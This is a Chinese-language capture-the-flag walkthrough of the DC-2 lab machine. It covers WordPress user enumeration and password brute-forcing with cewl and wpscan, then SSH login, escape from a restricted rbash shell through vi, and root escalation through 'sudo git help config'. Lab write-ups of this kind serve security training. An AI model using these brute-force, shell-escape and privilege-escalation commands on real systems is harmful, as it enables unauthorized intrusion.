信息搜集
-
首先,发现主机
-
先扫描一下端口: -
7744:开放ssh连接,后面做题要注意访问一下主页:
-
先使用御剑扫描一下:(找不到什么太有用的东西) -
再使用dirb扫描一下网址: -
在其中,可以看到有一个admin: -
访问一下,找到一个登录入口,先留着 -
到此信息搜集先告一段落 -
登录后台
-
注意到当前首页直接就有一个flag;点开看看:(我这里是翻译了一下)
-
根据提示得知要使用cewl来爬取网站的密码;来到kali来爬取一下密码:
-
一般爬取结束后也不会有什么回显,自己到对应的文件里去看看有没有成功爬取到密码这样就是成功了,
-
有了密码,还要有账号来爆破,习惯性看看指纹识别, -
发现是wordpress,就使用与之对应的扫描器来扫描:
wpscan --url http://dc-2/ -e u
成功拿到三个用户名,接下来为了方便,直接讲=将这三个用户名写在一个文档中:
直接用之前的wpscan结合之前cewl拿到的密码来试着爆破一下:
wpscan --url http://dc-2/ -U user-for-dc-2.txt -P 9.txt
看到成功破解出两个账户:
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
回想到之前的登录页面,去试试看能不能登录成功:
使用jerry那个用户即登录成功
在Pages模块下可以找到flag2
Getshell
同时,前面端口也扫描出了7744端口(ssh连接),直接用这两个账户去连接登录:
ssh jerry@192.168.134.129 -p 7744
但是很奇怪,jerry怎么都登录不进去,不要急,试试tom:
是可以发现tom这个账户是可以直接登录的
ssh tom@192.168.134.129 -p 7744
之后就是简单的查看目录找flag:
发现cat命令被禁止了;尝试了一下其他基础命令,发现连cd也用不了,那就先来看看有什么可以使用的命令:
compgen -c //查看可以使用的指令
可以看到最底下有一个vi文本编辑的命令,也可以用它来查看flag3.txt
成功拿到flag3,根据提示以及之前登录的情况,此时是再tom这个目录下,刚才也是,只有tom这个账号才可以ssh远程登录,所以,接下来应该就是要追着“杰瑞”,也就是切换到jerry目录下→部分提权
部分提权-rbash
方法1
cd 之后发现命令被限制了,但是也给出了提示:rbash,所以想到rbash逃逸:
vi 命令进入刚才的flag3.txt文件:
:set shell=/bin/bash
直接Enter继续:
:shell
此时使用whoami还是会显示:command not found
只需要再添加两条路径就可以了:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
之后就可以看到whoami,cd,cat,等基础命令就都是可以使用的了
直接就切换到/home/jerry目录下去读取flag4.txt
方法2:
一样,靠我们仅有的vi命令来部分提权:
首先;还是使用vi命令进入一个文件中去做修改:
:set shell=/bin/sh
直接Enter继续;
:shell
之后,最重要的一步,一样是添加环境变量:
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
一样达到方法1的/bin/bash部分提权的效果
git提权
之后,根据flag4.txt的提示说,只有最后一个flag了,也给了提示要使用git提权;
来试试看:
先看看什么命令拥有sudo权限:
发现tom用户没法使用,那就换到jerry用户
再次验证可以使用git提权;
首先:
sudo git help config
!/bin/bash
!'sh'
两个都可以
Enter之后,就可以看到是root权限了
直接切换到/root目录下获取flag就好
完成